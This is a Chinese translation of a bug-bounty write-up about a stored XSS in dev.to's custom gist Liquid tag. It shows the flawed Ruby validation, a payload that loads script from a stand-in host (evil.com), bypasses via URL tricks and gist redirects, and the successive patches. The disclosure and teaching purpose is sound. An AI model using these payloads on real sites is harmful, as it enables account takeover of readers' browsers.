一起攻击:入侵 dev.to
简介
语境
漏洞
结论
简介
读了这篇关于 Dev.to 源代码的精彩文章后,我受到了启发。
为了庆祝我的第 500 位粉丝,我给自己挑战了破解 dev.to!
最后,我在自定义的liquid标签中发现了一个存储型XSS漏洞。这意味着,如果你浏览了一篇受感染的博客文章,我就能控制你的浏览器,并以你的名义执行操作!
语境
XSS 是一种漏洞,恶意用户(这里指的是我)可以利用该漏洞将 JavaScript 代码注入页面。
借助 JavaScript,尤其是在单页应用程序中,我几乎可以对你在这个网站上的帐户进行任何操作!
我可以更新你的个人资料、发布新帖子、点赞和评论你的文章等等!
XSS 漏洞意味着我从浏览器的角度完全控制了你的网站,因此这是一个相当严重的问题。
XSS 有多种类型:
- 反射型 XSS:需要用户访问恶意链接才能触发。这意味着您需要重定向或点击链接才能触发漏洞。
- 存储型 XSS:这是一种保存在服务器上的 XSS,因此由网站本身发起。例如,一篇特制的博客文章就属于这种情况。存储型 XSS 的危害更为严重,因为它可以由正常的用户行为触发,并复制给所有人。
举个例子,几年前在TweetDeck上发现了一个存储型 XSS ,其中恶意代码会自我转发,最终获得大量转发:
漏洞
原始代码
正如编辑指南中提到的,这里实现了许多自定义的 Liquid 标签。其中一个是 Josh 在之前提到的博客文章中新创建的,所以我决定从那里开始检查是否存在安全问题!
这些 Liquid 标签的源代码位于/app/liquid_tags文件夹下。
很快,我被它的要点吸引了:给定的标签直接渲染成了一个脚本标签!
html = <<~HTML
<div class="ltag_gist-liquid-tag">
<script id="gist-ltag" src="#{@link}.js"></script>
</div>
HTML
并且有很多方法可以验证它:
def valid_link?(link)
link.include?("gist.github.com")
end
文档中该链接的用法gist
如下:
{% gist https://gist.github.com/QuincyLarson/4bb1682ce590dc42402b2edddbca7aaa %}
添加后,.js
我们得到了一个脚本,该脚本围绕要点内容创建了一个漂亮的嵌入:
if (developer === true) { | |
follow(this.mediumPublication); | |
} |
if (developer === true) { | |
follow(this.mediumPublication); | |
} |
由于验证不充分,仅检查链接是否包含gist.github.com
,因此可以绕过:
{% gist //evil.com/script#gist.github.com %}
将被转换成<script src="//evil.com/script#gist.github.com.js"></script>
前面的要点因此将在博客文章上加载不安全的脚本,使其成为存储的 xss!
开发团队收到通知后,迅速发布补丁更新valid_link
功能:
def valid_link?(link)
(link =~ /(http|https):\/\/(gist.github.com).*/)&.zero?
end
旁路 1
此补丁确保给定的链接以 开头http[s]://gist.github.com
。
虽然比之前的验证更好,但这仍然不足以防止攻击!
以下两个域将通过此验证,但仍会加载外部脚本:
第一个使用基本身份验证方案gist.github.com
并将用户名发送到evil.com
网站。
第二个仅仅是的子域evil.com
。
通过在 后添加必需的尾部斜杠gist.github.com
,可以快速修复此问题,从而正确缓解此问题。
def valid_link?(link)
(link =~ /^(http(s)?:)?\/\/(gist.github.com)\/.*/)&.zero?
end
旁路 2
之前的补丁确保了请求的域名是gist.github.com
,这很棒!
但由于该网站的性质,仍然存在绕过的可能性。
查看原始 gist 文件时(在本例中为 poc.js),原始链接采用以下格式:https://gist.githubusercontent.com/[name]/[gistid]/raw/[fileid]/[filename.ext]
当将域名替换gist.githubusercontent.com
为时gist.github.com
,我们实际上被重定向到原始githubusercontent.com
域名!
这意味着poc.js
可以从以下位置访问我的 gist 中的原始文件:
- https://gist.githubusercontent.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js
- https://gist.github.com/AntonyGarand/a8a0b4a36a040edc6051e888afce8fab/raw/4deb366ddaf0597e82fea808f7f4cb3ad763d98f/poc.js
注意第二个 URL 上的域名:gist.github.com
这正确地绕过了给定的补丁,因为原始文件将从gist.github.com域提供。
该补丁已于今天早些时候成功应用,通过强制给定的要点采用更严格的正则表达式:提交
def valid_link?(link)
(link =~ /^https\:\/\/gist\.github\.com\/([a-zA-Z0-9\-]){1,39}\/([a-zA-Z0-9]){32}\s/)&.
zero?
end
结论
在披露原始漏洞后,开发团队根据dev.to 漏洞赏金计划迅速做出反应并修复了这些漏洞。
我成功跻身安全名人堂,并获得了 150 美元的赏金和一包贴纸。
通过提供源代码和漏洞赏金计划,更多的人将扫描网站以查找问题,从而使网站更加安全。
最后,整体体验非常棒!
我强烈建议大家查看源代码,报告发现的错误和安全问题,并提交pull request,以提升网站的整体安全性。
如果您正在寻找起点,那么您的第一次提交可能就像用 https 替换 http 链接一样简单!
文章来源:https://dev.to/antogarand/pwned-together-hacking-devto-hkd